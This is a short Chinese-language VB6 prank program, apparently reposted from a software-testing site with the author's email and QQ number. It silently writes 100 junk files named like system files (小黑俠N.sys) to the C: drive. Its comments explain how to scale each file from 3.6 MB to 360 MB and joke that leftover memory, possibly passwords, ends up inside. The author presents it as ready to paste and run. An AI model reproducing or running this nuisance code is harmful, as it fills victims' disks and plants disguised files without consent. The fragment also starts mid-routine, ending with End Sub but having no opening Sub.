On Error Resume Next
For h = 1 To 100 注釋：(這個100為寫入文件的個數，就是向C盤下寫100個文件)
Open "c:\小黑俠" + CStr(h) + ".sys" For Random As 1
注釋：(在C盤下產生文件 類似 "小黑俠x.sys" x為數字)
DoEvents
Put #1, 30000, "小黑俠"
注釋：這里的這個30000是控制生成文件大小的。
注釋：30000產生的文件大小是3.6M左右
注釋：10000產生的文件大小是1.2M左右
注釋：如果你改為3000000的話，那就是360M，不要太壞哦！
注釋：如果你想知道那么大的文件里面是什么，那就就用寫字板打開看就是了，可能里面還有你的QQ密碼也說不定。因為這些內容都是在你的緩存文件里隨機產生的。不過你會在文件的最后一行看到有一個神秘的字符，那就是“小黑俠”字樣。呵呵，我跑到你電腦里去玩了。
Close #1 注釋：關閉打開的文件句柄
Next
End Sub
以是程序可以直接粘帖到VB工程文件中去即可執行。
代碼很簡單，相信聰明的你一定看得懂。
在下小黑俠是也，歡迎各位來信交流
email:wl3000wl@163.com
Oicq:46393567
延伸閱讀
文章來源于領測軟件測試網 http://www.kjueaiud.com/
